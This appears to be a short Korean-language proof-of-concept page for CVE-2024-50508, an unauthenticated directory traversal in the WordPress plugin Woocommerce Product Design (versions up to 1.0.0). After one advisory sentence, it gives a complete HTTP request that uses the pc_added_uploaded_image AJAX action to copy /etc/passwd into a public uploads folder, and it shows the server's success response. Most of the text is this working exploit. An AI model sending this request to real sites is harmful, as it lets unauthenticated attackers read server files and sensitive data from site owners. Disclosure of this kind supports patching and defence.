randomrobbiebf/cve-2024-50508Woocommerce Product Design <= 1.0.0 - 인증되지 않은 임의 파일 다운로드
Woocommerce Product Design <= 1.0.0 - 인증되지 않은 임의 파일 다운로드
WordPress용 Woocommerce Product Design 플러그인은 1.0.0 버전까지(포함)의 모든 버전에서 디렉터리 트래버설에 취약합니다. 이로 인해 인증되지 않은 공격자가 서버에 있는 임의 파일의 내용을 읽을 수 있으며, 여기에는 민감한 정보가 포함될 수 있습니다.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
action=pc_added_uploaded_image&file[path]=/etc/passwd
{
"path": "/var/www/html/wp-content/uploads/wcpc/images/uploaded_images/passwd",
"message": "Image Uploaded Successfully",
"url": "https://wp-dev.ddev.site/wp-content/uploads/wcpc/images/uploaded_images/passwd",
"status": "success"
}